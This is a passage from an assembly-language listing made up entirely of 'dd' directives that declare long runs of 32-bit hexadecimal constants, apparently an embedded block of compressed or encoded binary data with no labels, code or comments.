0BE42E1B8h, 9D086121h, 0E309882Ah, 919D9290h, 24611133h dd 21E93211h, 0C8223CA6h, 5B284550h, 847AE544h, 6F75BB22h dd 208029E9h, 5D3861D1h, 0F545FA00h, 8CCF4C33h, 0EC654F27h dd 0B2AB0023h, 1B11E34Eh, 60890781h, 0D0FD78E7h, 693F967Fh dd 0AEDBE600h, 0D27B585Ah, 0A190038h, 74F91E1Ch, 0A30046F7h dd 0AB0DCFEDh, 7F1108h, 8CC05DC4h, 0ECA22E0Ch, 39704400h dd 0C820B143h, 563F0B92h, 0F4807EFEh, 365AB7ABh, 0E693E11Eh dd 0D900D75Ch, 0BDD8CA94h, 0B4DE004Dh, 4A1557F7h, 0EB015BABh dd 1170E0FCh, 2520FA3Eh, 0AD8BF7Ah, 4B006D72h, 0C2860B96h dd 793EA85Dh, 658D390Ah, 0D2372D05h, 32E7C054h, 670026DAh dd 6C4FF710h, 697EE7h, 728CFDCEh, 8F322BB1h, 0C76F8706h dd 648AA5Ah, 4C0D2CC6h, 0CBF611A4h, 2B63B000h, 0D07B1143h dd 72DE0045h, 0CEB31D1Eh, 4B2F6D46h, 0A95848h, 0CD206BC2h dd 0F8ADD7FBh, 6D5F981Fh, 42E17B00h, 0C035AF4Eh, 0CA2BBB10h dd 4B0367A5h, 9C132AE5h, 85480512h, 8097C26Dh, 0DC2D424Bh dd 0D56FB60Fh, 0CB7BA070h, 0F86B5020h, 296A0FC8h, 2E47ABAFh dd 25C0D0ACh, 7400DBEBh, 882C7E19h, 7F7C2F0h, 10C45C04h dd 0E0A74782h, 0BB4F620Ch, 17EA6401h, 6BA0ECDAh, 96BDB840h dd 574C1EBCh, 5089405Bh, 0A8777216h, 11C2181Eh, 9E32E640h dd 3A6108h, 14176B96h, 0C9153728h, 0A4C82300h, 34780D05h dd 0DE160749h, 0B0A8EB01h, 3B224BFBh, 9473027Dh, 0DB11C000h dd 3DD89149h, 40631F2Fh, 584B87B3h, 9A0CEC1h, 0ECA776D6h dd 0E1D01F00h, 103175E8h, 0D7860258h, 34F03BF5h, 0B377FD60h dd 832A8D03h, 8F9AE972h, 296542D1h, 0EE9420h, 60B1EB08h dd 8B3D79DFh, 0D2C46C02h, 8073BDC6h, 0DC219BA4h, 0A14600E1h dd 5A82AE8Dh, 3500A517h, 8495CAF1h, 1590BD97h, 0C4CB85D0h dd 6D07C939h, 91F5675Fh, 60F79FB5h, 4C00E420h, 1560710h dd 0B065F304h, 297900B7h, 0A4B1627h, 9B3C4E11h, 0FD11E02Ah dd 0E81B3Dh, 63257B41h, 0CD46F3ADh, 695A2F00h, 4D6D5848h dd 0C09175h, 0D4A920D1h, 62182CFFh, 889077E9h, 6C810F38h dd 0FE45B5F0h, 40E800D7h, 0A271E8F3h, 0B9AF8C03h, 376AE44h dd 0A5F57030h, 280FD43Eh, 33380h, 3A0549D7h, 135000E1h dd 350F4B31h, 0FE00827Ah, 25A9BADDh, 760ADFh, 6D65ADD1h dd 6CAB0C24h, 97C8D814h, 2FB600FCh, 73B52832h, 45A8005Eh dd 0DC3C1E06h, 0B9007AACh, 28BC1F97h, 0FAB53DD3h, 8031EE52h dd 55E02DC5h, 0B392D200h, 15EC7BF8h, 7973DCh, 138A4C05h dd 10F447C1h, 5BF94B00h, 0F5CF177h, 3E55008Bh, 895E0CE1h dd 410487F5h, 0A4E074FAh, 97611D02h, 0EF50D900h, 82C053Bh dd 8079FF70h, 0EADBD777h, 2000FE78h, 4987483Ah, 0F2EC064h dd 0BFDACC37h, 0F8EC8C22h, 5D0E7240h, 0AEDD4900h, 93BDE11Ah dd 282E7663h, 0D47204h, 8453B61h, 0BE12CBECh, 0DF036407h dd 0E6906A26h, 7EF6BBCCh, 0D4512609h, 171E94h, 62EE3344h dd 630E856Dh, 0F7377491h, 80755F09h, 0DF535CF1h, 0D55B1FD7h dd 0C72EC0F4h, 0AE5E89B2h, 0FA21EC00h, 2546869Dh, 0A95A3CE0h dd 9CB2DE01h, 0E8AFF9B0h, 0F600DDF4h, 4FB9CD1Eh, 337E5Bh dd 388CF854h, 2CB5C192h, 5E1A0700h, 0C3B47A3Eh, 0F0270F65h dd 8C1A30Fh, 0C0EA7422h, 9C00A052h, 2C2335CAh, 38D39F2Dh dd 6E007D79h, 700E41C2h, 9203033Bh, 76F31B85h, 0FE42D081h dd 7C28009Eh, 3AFBAF47h, 0A95C8A8Eh, 0E9C90006h, 0A8E5DB30h dd 69FC00B3h, 973D5158h, 0F0004EC2h, 0A2F1FEB4h, 26412F60h dd 0B86720h, 26FC8036h, 0DFE4AD0Ch, 1A19B300h, 0A2D7C662h dd 3AF62451h, 331B0078h, 0E914CD7Bh, 1019AE02h, 40D79B65h dd 90DE9024h, 909A5C52h, 2374A16h, 94FF8478h, 4405E487h dd 20F8903Eh, 2B000FD0h, 83B28E7Ah, 134AA9CFh, 7609151h dd 10B903E8h, 1FC7B1A3h, 0FCB48h, 0CEED5373h, 0CA52ADh dd 70A09F6Fh, 0BD96B897h, 0F700BB7Dh, 0F21ACD5Fh, 77DD5Eh dd 0A9413483h, 10C11988h dd 2AADE00h, 0A369FFA5h, 45AC1F36h, 40E81338h, 0EF4E3A0Ch dd 61009F42h, 0F3C7F5Eh, 530569h, 0D89D2B1Bh, 35F274E7h dd 8A6CDB07h, 97E2A5AFh, 27941F8h, 0E1FE7060h, 0C290CCh dd 0D34E831h, 0B8994BF0h, 9EE4D300h, 788C37BCh, 304C60D1h dd 2974172Eh, 5E238100h, 0A24A04CDh, 7E7841h, 0B8A32050h dd 5A53A9B2h, 2D883B00h, 0CCCD5686h, 2C70B018h, 609434EAh dd 3BA2FEF8h, 0CD92493Eh, 365001C8h, 383EDF88h, 0FC91CCh dd 0AF1080B9h, 7B7DD3D7h, 1F656900h, 0BF3C7977h, 39DCA035h dd 0D4F200A6h, 7C67DEFh, 3E00DE55h, 849C2F57h, 92E47Fh dd 82A8B387h, 44EE48B1h, 0F48ECC00h, 7F6D604h, 0ADDC00D4h dd 0BE1B2A08h, 620025C4h, 4BA0F0B9h, 2E8F5Bh, 15111671h dd 0E62B4014h, 20A5E20Eh, 33E040AFh, 7348ADBh, 99CD52D5h dd 0F809E1Dh, 54825544h, 0A5A87400h, 0E4BD8F43h, 60141F16h dd 3686413Eh, 507CF263h, 0FFB2F90h, 8CF5A43Ch, 26CFD4B5h dd 93E6C2h, 2676F272h, 0C0416745h, 0AFD2CB00h, 0A05E7F44h dd 34DE0E51h, 24603B56h, 0BA1A0D41h, 0D0B6153Ch, 261D83A4h dd 0B42AC1F8h, 8049113Eh, 713C9527h, 424661h, 0D1DFBFE4h dd 0F92ACBAEh, 0BBB90100h, 0EA6B5AA8h, 49DD00BEh, 0C98E5E93h dd 10E102Dh, 0E0690821h, 0DDF9BCE6h, 48BE0191h, 0BD51D484h dd 1015ECA4h, 0F7D813Ch, 809F339Eh, 0AF973E4Dh, 0A4BF0041h dd 61D31045h, 1A002DDFh, 4C6CEEE7h, 322C3Fh, 62F71BFEh dd 0A79917EDh, 3DD73C16h, 9B306902h, 0E9844018h, 316C0041h dd 1A9FBEFEh, 0B91C8807h, 0A9C01D8Ah, 2D27AE80h, 0FC5900A3h dd 0CBCF26A7h, 1AECD815h, 8D421100h, 0C16DC368h, 0F66C2833h dd 1CA558F8h, 0B345710Fh, 0DBEFC240h, 0F079744h, 8EDE02AFh dd 822EDFB3h, 0C0BF609Ch, 509000D8h, 17B344D5h, 6D2E53DCh dd 130E1C62h, 33F3A473h, 98955483h, 24EEA642h, 8F949F43h dd 328D163Ah, 0E220E820h, 740D540Eh, 0F6556027h, 2E3984D3h dd 0A4D83Dh, 0BC0A1CFAh, 29FE5A96h, 0DF0077E2h, 62653A74h dd 0A26397h, 0EB3C4725h, 0AB8451CDh, 0F1B24600h, 28EE9A16h dd 0D68A0054h, 0C5396E3Dh, 0A4A015F3h, 40766D05h, 1BF6B3Dh dd 542CA7DEh, 45F8BA9Ch, 53C5000Ch, 5034070Eh, 9B093288h dd 809C316Ah, 267E9593h, 0C98707CCh, 0B7814734h, 0BB450Bh dd 57215DA4h, 7200EE28h, 183AE24Eh, 10854Ch, 31A2528Ah dd 0FB54781Fh, 939A2500h, 4ECACBA0h, 44D40E29h, 0A834DF8Dh dd 0F97A880Bh, 6C1EACA0h, 7F267DDAh, 0A780145Dh, 1B06BE25h dd 4DCB0310h, 6E15A5D0h, 0DE891E00h, 87FBD348h, 0A2B100E4h dd 0DA8CFABAh, 24121296h, 3400ECD4h, 1688CE7Ah, 0E7B48006h dd 4047EF3Ch, 309D0055h, 6342FB85h, 9C77CB4Eh, 6EA0CC5Fh dd 1972BCh, 5D44B7FEh, 0DAD7E878h, 7B96A000h, 7106C56Eh dd 7237FE39h, 0AA111684h, 905610E4h, 7900D09h, 59973400h dd 0FB00B825h, 0F0D808EBh, 19045155h, 0F81BBDA7h, 506120B1h dd 6635907h, 0EBC02781h, 6029BAC6h, 88FBA867h, 0BD0A1623h dd 9887E506h, 8943C89Eh, 8C3551D8h, 2CB0C01Fh, 0BE82C949h dd 87BC88C0h, 50492FCh, 98F770F4h, 40028067h, 63E0B090h dd 56DF6200h, 0D709AAE9h, 4AA500BCh, 0E2ED40BDh, 35F0CF29h dd 507CB000h, 52DB068Eh, 2E57006Dh, 23618DD4h, 837D2669h dd 55B260FDh, 2DC7A101h, 445F982h, 0E3A5A440h, 0B5A903BEh dd 2EDA7F37h, 2B0652B0h, 4903C101h, 80753A5Dh, 508CE0h dd 0B9AA79A3h, 33DCC73h, 0F0C5F0Ah, 0BD008423h, 0CA0DC855h dd 0D67B0F4Ah, 3E4994DFh, 0C42B007Fh, 76C933A1h, 0A308019Fh dd 89926F8Ah, 3B282C53h, 3F740130h, 280F9DA1h, 50181CF8h dd 264594A6h, 400CAF79h, 282D2687h, 6E817501h, 307B89B9h dd 7596F730h, 0A8A442h, 153C4164h, 6C23ED6Ah, 8A4B8601h dd 92DA1942h, 0EA1DCCh, 0DD06D249h, 67407890h, 4B7C20EBh dd 0DA791578h, 8863D8C0h, 4CFC7D14h, 0C503E46Ch, 3B7CF78Fh dd 0F2241100h, 0DEAA01F1h, 87580010h, 4FE082D4h, 6515F03Eh dd 24F8B25Ah, 201108CCh, 82000D4Ch, 0D7AA242Bh, 0E3006F1Dh dd 5749B2C5h, 6F8805Dh, 8651EC19h, 140141EAh, 0CE6747D6h dd 7034638Ah, 0EDB51EA3h, 655880F0h, 2C418ED3h, 30BF6Bh dd 0CF1DBCCh, 0FAE61DB4h, 0FFC6605h, 0E382E81Fh, 2CC037ABh dd 0B8007139h, 786A8C1Ah, 5CCBE580h, 0B53AE6DBh, 0F4A9C600h dd 353EF187h, 9C14282Ch, 0B303CB00h, 90C3D9h, 2372885Ch dd 0B6627E2Eh, 126E9E00h, 1D9BEA45h, 1E380F74h, 0F2839060h dd 0F0986424h, 0C50076FAh, 9B45C3A1h, 4165431Eh, 7DB2C830h dd 298E5800h, 0BF25FAA2h, 7FA6007Ah, 43F2B9B7h, 0CF3DE781h dd 0AFE1001Ah, 0A725CCACh, 41E4255Ah, 8902000h, 9103EE9Fh dd 0A4B45D82h, 0F9FFB814h, 0DF2E006Eh, 38D0F3FAh, 6C2C7D02h dd 4A0B2473h, 9DF4A11Fh, 58ACF20Eh, 3DD10C55h, 7C30E518h dd 51FA613Fh, 0D53100FEh, 4C0DB529h, 0C4003539h, 89CF8897h dd 721F3Dh, 638591C3h, 0EBF49671h, 2DFCE059h, 0BE560Fh dd 23067924h, 0E0086AFh, 1099B6D9h, 34FC8C6h, 0A4D62DAEh dd 0FD550Ch, 60B558C0h, 8B806BE8h, 197300C3h, 0C81C5183h dd 0EE3BEA38h, 6B7609B1h, 0A99480AEh, 34DDDBh, 0D020D1FFh dd 0A4CEB25Eh, 14B0A200h, 856188EFh, 0DE4E0586h, 1172A83h dd 0BDF29FC0h, 2FD80952h, 39AFF2A5h, 3100BED7h, 20604888h dd 4D3F65E6h, 189A809Bh, 0DAB54621h, 7B1795Ah, 0A68411BFh dd 6C85518Ah, 996EC46Ah, 0E4342700h, 8F67AA39h, 604600CAh dd 6313DA12h, 53043AD0h, 32F2100Ch, 13EDF4F0h, 14597AEh dd 30CF7B16h, 0EB80D766h, 7C029BFCh, 0D4DCB79Ch, 0E87865h dd 0ADB9F452h, 0D7CFFCEAh, 0C0BCC72Eh, 2613BE82h, 8D068B6h dd 73F01D1h, 9FDD884Dh, 6CC8DAB4h, 0D30EFFC5h, 0C0F50412h dd 0B92A206Bh, 0B83F488Fh, 3D5E6E00h, 4EE8DC94h, 260070FCh dd 0EA2FADC9h, 379C8E2h, 6E2A6AD7h, 509F235Ch, 0EB6926F0h dd 672D5600h, 4FFAAC97h, 0A2281DD0h, 760CFBA4h, 82F0667Ch dd 7A37BC03h, 0F040F141h, 5667E4h, 0E643527Dh, 0F26E45EDh dd 77002873h, 752329A4h, 447D8Bh, 3253C619h, 0A77AD4FBh dd 0ABDEEC1Dh, 0B865C80Ch, 389A27B0h, 0F066CA0h, 94A8ACDBh dd 7BB849D2h, 0DEE57F0Ah, 0B48098C6h, 0D8299972h, 0CE7B00F7h dd 1175EAD5h, 87601F7Ch, 0E42461A8h, 0BA5500A4h, 0CD2B1E21h dd 0A504E63Ah, 0CF4073AAh, 3A9DA8C8h, 0E0457278h, 620E3654h dd 80402534h, 0A1654210h, 6F2A000Eh, 891F38D1h, 67028AE7h dd 0B27D4E9h, 9F084B43h, 24DC144Bh, 0A0CCEFF7h, 0CBF60090h dd 5ED6DB7Ah, 0C4002B47h, 79E2E526h, 381BB69Eh, 6EA4ADCCh dd 0EB8A8004h, 3A28DDF9h, 8D1C8700h, 32D4F0A1h, 5E360038h dd 46B33103h, 0E0E68DAh, 20E13063h, 0E4960ABBh, 0B0D97453h dd 80910029h, 7EB482AEh, 0AB008838h, 701828A2h, 0E0D055BEh dd 26EE0373h, 0A3DA153Dh, 0FB48B3F8h, 0B221B400h, 0AF5CEB9Fh dd 1642282Bh, 7D2C01D8h, 0D06628DCh, 0DC62D663h, 9A01E43h dd 2E03078Ch, 86FDA78Dh, 0CC81002Fh, 98F8A18Ah, 8F1CE3ADh dd 0AEC0B72Eh, 970F25C4h, 0B38000B6h, 4E571B18h, 0C100ABC7h dd 0FAE4AE81h, 0EACDBCh, 7351A92Fh, 0ADD74215h, 970CC200h dd 557AEB6Bh, 348A00B9h dd 0F6046433h, 9D0188DAh, 622106B3h, 0F4C0AD0Eh, 0F7CE0357h dd 0CD2F6FCCh, 97F8A490h, 74549C0Fh, 3BE767E6h, 0FBBF7150h dd 0F046145Ah, 61FEC5Fh, 5CF68010h, 32FFD7Dh, 0F102E304h dd 34F12796h, 3954A9DCh, 1D00232Bh, 0E966F7A4h, 4A00B5E0h dd 81571E40h, 52ECAEEh, 32E3472Ah, 0D4A40F1Fh, 7C20A429h dd 0F68E28Eh, 93CE2B0Bh, 2FE021D9h, 0C879DD8Dh, 0AD40E700h dd 2BBB63B5h, 1C6A5503h, 0E3FE747Ah, 804AF086h, 48440B2Fh dd 1C016CA0h, 64390D7Bh, 0F02269D4h, 0AC940EFCh, 3E6982B6h dd 0F5937C00h, 51D1ED3h, 23A7335Bh, 9029FCCCh, 3BDF53h dd 3A6C11Ch, 2EA4A32Dh, 5718FA61h, 76CC7258h, 0D9A800C3h dd 22964BFCh, 0AE38EE84h, 0E33B8964h, 0B3484097h, 46B907DEh dd 6F1924B0h, 90BC1B40h, 0D900083Ch, 0A70E5E0Bh, 1D89054Eh dd 66D5D1Eh, 0C8DB3280h, 0D0CDA400h, 25EBD28Ah, 93313A4Bh dd 0CF99F400h, 3D964E37h, 0AC72D60Ah, 0D200885Bh, 0B6ABFDAFh dd 636A7BFBh, 0E662505Ch, 0E4E877F1h, 61037DBCh, 48157AFAh dd 0B84E9396h, 2D85CAh, 3DC4D30Ah, 76B7AB9Dh, 0D2FD3400h dd 1AAF01F9h, 9E2100F2h, 0D286AE5h, 0CA1F8715h, 1902FBAEh dd 60357E90h, 22D081h, 47610F2Ah, 3AD47418h, 0FAC57300h dd 0BF7E482Bh, 4EB71CA7h, 0D692003Bh, 0E1F11A09h, 0FBCF4600h dd 2004A187h, 0A0570F71h, 126026A4h, 86983CBh, 2C1F2FE0h dd 0C5264D4Ch, 0AB283200h, 169346h, 2F3A9F43h, 0EA8195A8h dd 663C0D13h, 0B027FC20h, 41513D74h, 0F280473Ah, 0A124951Dh dd 0C7009A96h, 0AFA4D34Bh, 0CED11Eh, 0F998A8E9h, 34C171F7h dd 5FBFEE02h, 0C09C3B2Bh, 0FA91211Dh, 30351616h, 0A25B0040h dd 8062747Bh, 505D2800h, 0B68BAF33h, 0B10103B2h, 8567FE56h dd 1C381100h, 877C3CE2h, 772C00F3h, 0FBE10A52h, 0C5006675h dd 0C7950936h, 7E7D31h, 55E5CE21h, 59CA5D5Fh, 42D7C509h dd 0C2C0A013h, 83EE2Fh, 1F37450h, 1A4C3B80h, 70B13700h dd 56D63AC6h, 0C24709D5h, 60002AA4h, 911FB0DAh, 211BE60h dd 123B9E9Dh, 42D9654Ah, 75348420h, 947A1A60h, 0E8484100h dd 3E1C7792h, 246259FBh, 0BB4CB82Eh, 44D030A5h, 0DC172E00h dd 60731CA1h, 2616041Dh, 80EA7FB0h, 0AA751084h, 185D3B2Eh dd 0A3636200h, 1C1E3558h, 0C001C734h, 18216F5Fh, 0E5719036h dd 3EC49714h, 25F6028Fh, 0E0266965h, 3A375F0h, 0A93F3477h dd 87EB182Ch, 0D6095BE8h, 0DE329D05h, 8480D801h, 4E016h dd 0F652ECE4h, 4B890DFAh, 446D581Ch, 18DF4A00h, 1C3333Fh dd 0DDF11405h, 70E149BBh, 0A4007298h, 229336E5h, 0EBBA75h dd 0EF8D0DD9h, 1DA79FBDh, 0B409774Ah, 52806025h, 308900CFh dd 0F8851595h, 3C001DD0h, 0B92066FCh, 1F05B20Eh, 4970ECh dd 0E2CB0245h, 691D5B23h, 38DFFCBCh, 8DBEF0C0h, 173ACEDh dd 0A334DF80h, 20195CC7h, 25005ED8h, 0A28DFBA7h, 9D292012h dd 2432CC0h, 9CE8E250h, 0C0C8B030h, 3B7A575h, 7FBADE1Dh dd 0FBF8E799h, 0D00A44A8h, 0E437A245h, 0E1589A88h, 306F48CFh dd 0E8F3D6C8h, 52022644h, 671121C0h, 24E082CCh, 0AF4CC02Fh dd 16B20098h, 4E9D091Dh, 77006F70h, 0E9E23B8Eh, 18223369h dd 39A8C70Bh, 711F85B6h, 0DFC7ACA2h, 51B08911h, 4BD822h dd 5D816E77h, 56336461h, 0D37DC102h, 0C1C260F7h, 88D4B6C2h dd 0C891CFh, 0C97A0AE9h, 710BB849h, 0EC13C281h, 60DC58C4h dd 1D4F6B81h, 0C62C707Ah, 0A405CBE2h, 6497DE82h, 8FAA8440h dd 899268h, 8C847808h, 3A558E45h, 5979B00h, 602A566Dh dd 0AC850BBFh, 0BA001B01h, 0CE615C55h, 30A4B00h, 14BF92DCh dd 2CB6EC8Fh, 17C6FC0h, 753082B8h, 22428F9h, 0D748AD62h dd 0C0BC9253h, 0F7BA64h, 0FF897A67h, 4E55AE0h, 41040095h dd 3FEBDCEDh, 37D814A2h, 0E30F3100h, 0D4A42D6Ah, 281DC509h dd 80358FA9h, 0C7B423EAh, 4E9E00C8h, 6EDF9C9h, 2B0F2A29h dd 0E0C06C35h, 0AC32877h, 0D21B0066h, 0B326B0BBh, 0A1024B6Fh dd 0A22DB698h, 0EA9C8079h, 37C091h, 9D2A0E61h, 0B53EBE95h dd 780EE092h, 20FA732Bh, 5ADAAE46h, 349B266Dh, 22648050h dd 42EB755Fh, 3D99F09h, 80F888AAh, 33F6DF00h, 557EBEh dd 614E019h, 502AC36Fh, 0A1F08000h, 5ED6DF7Ch, 4C50035h dd 9AF141D8h, 16FCCB3Ch, 905860C1h, 6CF0DC54h, 5FFC0FCAh dd 0BF009B87h, 7353CE88h, 0AC4CF59h, 0F4DF126Dh, 715F5D83h dd 1B08BEEFh, 18EC8FC3h, 0C0E037FBh, 9A0B35A4h, 83BEFF12h dd 0C06165A1h, 7BFB5736h, 0F02098D7h, 18DAEAFAh, 59DCC715h dd 5D3BF121h, 19E480C4h, 710F75C1h, 9F0900E8h, 958C2416h dd 9C00E784h, 23C13A5Fh, 0AAF6D4Dh, 1E0EB2A2h, 3CE33B4h dd 0DAB871E3h, 4B00D634h, 0AA8293A8h, 445AFDh, 0B1583EAEh dd 9EECFE9Ah, 59573A00h, 1A2B6CC6h, 3B6902BBh, 2E16BE0Ah dd 1DD14760h, 4A0026F6h, 0C429E207h, 158D8C5h, 41F5184Dh dd 0FCB9FAF8h, 6039C0DEh, 19CF8081h, 0C831B8DDh, 0E98907CDh dd 50D04358h, 6D63C11h, 1C42F63Bh, 6C8385D8h, 0E0C94F38h dd 0A304F516h, 3993A899h, 0CA035C2Ah, 0ED3C1Ch, 85F82365h dd 822A24E4h, 5506E01Dh, 11CDE78Ah, 46D5211h, 199A7B0Ch dd 5E001510h, 32BAC5F0h, 5BB08E2Ah, 0C0CC1F5Ch, 83D5FC35h dd 1FB8EDBEh, 90A83800h, 244C611Ah, 78572AEh, 0F9777C35h dd 0A2D1D044h, 7B89725h, 0CDDF3Ch, 50EE2347h, 917D8D4h dd 965BB38Fh, 0AF157400h, 6470F041h, 0B8933C00h, 82253A6Bh dd 0D565004Eh, 2A204FF5h, 271FEC99h, 538094A8h, 0F340FD7Dh dd 13650143h, 0DBDDF6EFh, 0F950C0D6h, 97C0680Fh, 27DEC0E6h dd 375FBCh, 0CB113E3h, 9093E94Ch, 50B0AC98h, 0DE049104h dd 8C84922Fh, 0C60140ACh, 8633C0C2h, 89498096h, 0FD9F1952h dd 510903E2h, 7FA4F17Dh, 6210D9F0h, 0E803B000h, 3A5EFFB3h dd 1935BD7h, 0BE7607CCh, 0DFA6FC12h, 2D004873h, 35C820C0h dd 0B3DEDAh, 5792B76Ch, 4621663Bh, 0D763CEAh, 0B2C9E913h dd 3E3A0A00h, 0ECACF14Eh, 2A10FC6Bh, 74E0F02Eh, 114B686h dd 0EAACD653h, 0CA8EDCFCh, 0A1C67F00h, 5A2216C3h, 9F66008Fh dd 10983DCDh, 79B83542h, 0D5C3761Ch, 7044D444h, 1E6DDCA0h dd 47057567h, 0C709D830h, 0C55C9121h, 0EB228023h, 50DEC79Dh dd 0E171C0DBh, 25610AD9h, 69346700h, 194FC6F3h, 1CD0FDD2h dd 0A85A097Ah, 0D0A0C2E9h, 0A6CBEFB1h, 8AFB2E28h, 1938F700h dd 0EEFFE335h, 0D60B002Ah, 4BFA9EAEh, 5403A9A5h, 0E22907E9h dd 89BCD820h, 0BF6D0059h, 2A866472h, 5D001D43h, 6F5774F6h dd 38680Fh, 0C5E3F0C8h, 24D94078h, 0A300209Ah, 45F78C52h dd 74BC23h, 781E3909h, 0CB7E7FDCh, 0F1A2E700h, 2E701225h dd 0FA9E09Eh, 0AF275A68h, 0E046E567h, 90603441h, 0FB025577h dd 64D97499h, 0F717E0C0h, 879B00D3h, 0D1BAC8B7h, 0A317358Ch dd 0D71C8BB0h, 0DCC1F9C0h, 8112F3h, 46897D29h, 1DD33A7h dd 216EC61Ch, 8E7C780h, 30954767h, 638887EDh, 0EE1D5EF4h dd 36C02C8Bh, 40AF0CCFh, 201800F7h, 0E92F2DA0h, 46006F47h dd 928131CBh, 0E0C40830h, 0FC227157h, 0C9C30039h, 0C16AF8Eh dd 58075DB7h, 6D8C8275h, 972EB580h, 98D207F4h, 0E0EF9E6Ch dd 92634262h, 3E60E901h, 57AFBCF0h, 0A8D067DDh, 28B1CEC1h dd 52B44A81h, 0C7180DEh dd 8A627027h, 3A580041h, 0E4B65AFCh, 84608E81h, 5458681h dd 658C0051h, 5A4E6757h, 1C00F53Fh, 0E666E9Bh, 0F109ECAh dd 0E5AAD539h, 56E07E80h, 0B371A3E3h, 0DEEBAD00h, 60DCFEEAh dd 1DCE0178h, 746E0134h, 0B663F456h, 0EBFA9700h, 0ADE6ACC7h dd 6C771EB5h, 0EE9FC0FFh, 1BB6B0E8h, 14CAA01Fh, 578186BDh dd 0F30EAB8h, 0DBA10E29h, 536EEEA0h, 3C00E85Ch, 0CE287C0h dd 38A94B9Dh, 7060E340h, 9358C521h, 0AC1C031Fh, 9AEC740h dd 0BA53DDh, 0A48B91DCh, 22E62A45h, 34C66E0Eh, 1793E1FFh dd 5B209656h, 0F5F98CAh, 0A1AC213Fh, 75D4F640h, 710BBCE9h dd 0F04FE877h, 5BB80066h, 0B04BF035h, 0AB00CE3Dh, 14DC65D3h dd 8C78F2h, 0A6E1D272h, 45BE8732h, 654B0300h, 81136447h dd 26F018CBh, 0C69FFE31h, 5FBAAC00h, 54044838h, 0EBF4004Ah dd 5C9BBBF6h, 4D124EBEh, 4C40073Ch, 0D7AF9E89h, 9575D8h dd 20037A08h, 68BF6A1Fh, 0C55E440Eh, 0E265E28Bh, 0C8EE80CCh dd 3E8C16h, 17EADCDBh, 8F82D773h, 4235B406h, 39A057h, 21FBF666h dd 2FA530D0h, 160C800h, 52CDEAF0h, 288A6086h, 419F71DEh dd 0E9E86300h, 1D0F98E5h, 7A850143h, 81B06B5Bh, 9A482061h dd 937DAB06h, 0F2388F57h, 0D39E02B2h, 0BFF7F2B4h, 62A54048h dd 0C2B54300h, 7BA991C9h, 0FAE2072Dh, 90351D71h, 6445909Bh dd 0FD101705h, 98007343h, 635B6998h, 0C2530080h, 99DD5AEBh dd 8005748h, 306FBBDh, 0E6DEC66Ch, 6E5B17F0h, 0EC5F1022h dd 56A62500h, 6361445Ch, 220A4E2Eh, 0EB0B1A00h, 6E9626E6h dd 16AF28DFh, 555DB620h, 51F4B288h, 70FE0D00h, 5A9F2CD1h dd 2DE8ECh, 4D34EA6Eh, 0A3D7134Fh, 456F4604h, 0EE801D3Ah dd 0A2782Ch, 0DC6DF48Ch, 951FAD0Bh, 833CF000h, 0CBDBB0B1h dd 0B3F6ABh, 0C99ABCD8h, 73232E5Fh, 76777F00h, 0A14B457h dd 0DBB8001Eh, 96C18A3Dh, 82006112h, 0DE70755Bh, 0B3D907h dd 81ABAC9Eh, 0F97E0DCEh, 80303F39h, 4F6BD3C4h, 1BE2AE2h dd 0B8392CCCh, 2A57013Bh, 0D83C2000h, 7747760h, 4A7A05EEh dd 0C0CBD078h, 0C10010ACh, 387E0757h, 0C3E9272h, 25FA14BAh dd 0CA38EE21h, 6E658080h, 0BD16A798h, 0FC87391Eh, 6D5E2907h dd 0ABE7D07Ch, 130F311Bh, 0A0223615h, 2AF2564Bh, 0DA300BDh dd 302CA6CEh, 7E0C8FB8h, 31FBC8DAh, 0ABB20756h, 8737D80Dh dd 19A4905Eh, 870030AEh, 0F58EBFF8h, 1C7C674Dh, 0EF0A0EECh dd 9804F4D4h, 8CD1E903h, 0FE20AB45h, 678800A7h, 56C4577Ah dd 3A005295h, 6E78AC16h, 7A324049h, 0CA28001Ah, 9B29B322h dd 1C008223h, 0E4DB8E86h, 0C5EDD8h, 0D4BBEEC2h, 359D4C29h dd 6B5790C0h, 92FA6Dh, 98F8C995h, 13ED1A5Dh, 0A7037F72h dd 0CD9E2F19h, 9F02E097h, 0F085E8C4h, 40210146h, 3EF1412Ah dd 1B3CD033h, 1A108250h, 46A01401h, 38E6D2DCh, 93EC0881h dd 0F8422673h, 6E000719h, 1B9609DAh, 0CB0DD7h, 2F18EFB4h dd 95601A83h, 0DA009FF8h, 41108A9Ch, 0C15170Dh, 0C45EDE14h dd 315A8590h, 187FF7B8h, 0A882F184h, 4039D27Fh, 2549CCCh dd 0E6230Fh, 5E02786h, 116F00FDh, 0A6741DB9h, 767009E1h dd 205A4828h, 3060DE28h, 0C0B44633h, 0EDD1C83Ah, 0DE9F3E38h dd 504010D0h, 1701C7Fh, 16EBE1C6h, 709232DFh, 75078883h dd 9AC734D6h, 0B0A085A3h, 0D9AAFBh, 0FEC5089h, 0F493EB3Dh dd 78138B79h, 0A8006822h, 0FCB49A54h, 33EA002Ch, 3001FE87h dd 200031C5h, 4D1918B9h, 722303F9h, 3B6400DDh, 0BF5E5570h dd 1500B441h, 0B88BA4E8h, 915BEFh, 70D2BE18h, 0EDB0FBC3h dd 74F95D01h, 5EF23ECDh, 186B70h, 0F6DF43DBh, 0B8EBEE82h dd 63140800h, 73F709BEh, 0D28101B9h, 7FAE06D5h, 1207F8E9h dd 2D4BD900h, 4DDA336Ah, 0AA0200EFh, 0A41F7675h, 9C0056E5h dd 97A62D38h, 593C665h, 1CA03282h, 0BD980783h, 76EB90E9h dd 7338E1E6h, 0C508E5DEh, 0ADDCA84Ah, 0A69F6800h, 8FA4D4h dd 0A3E18719h, 0EF5FE35Bh, 45AE0301h, 7F21D772h, 0C4F1F3D0h dd 87246A18h, 8CD8064h, 60929F15h, 3328A500h, 0E4FD1386h dd 0C035AF2h, 0C221AD27h, 96333003h, 0B0610EB7h, 22BB9417h dd 85039C55h, 7AAE981Fh, 0ED1100C1h, 38E35CF0h, 9E0ED1ECh dd 8DD20440h, 9C021F5h, 534F035Ch, 0D00CEB9Dh, 6B7FA2E0h dd 0E751A8CFh, 0E06642BFh, 0C57B3310h, 24B00C39h, 91004D5Eh dd 0BECDF838h, 80EACB42h, 9B008119h, 30579261h, 0F854DDDh dd 7948CDFFh, 0DF2D1EE2h, 9356C980h, 3F3F3224h, 0C960004Bh dd 0B44C5D38h, 0D03100C3h, 0D35F5715h, 0D1009D10h, 1A9B482Fh dd 6F4701h, 40C952Dh, 0F057E3A2h, 8068F23Dh, 0C8ED9D6Ah dd 559051h, 291E1884h, 1B4208B3h, 78FD8700h, 0C9BF6D65h dd 0F7FE2437h, 0F66C1498h, 8D550801h, 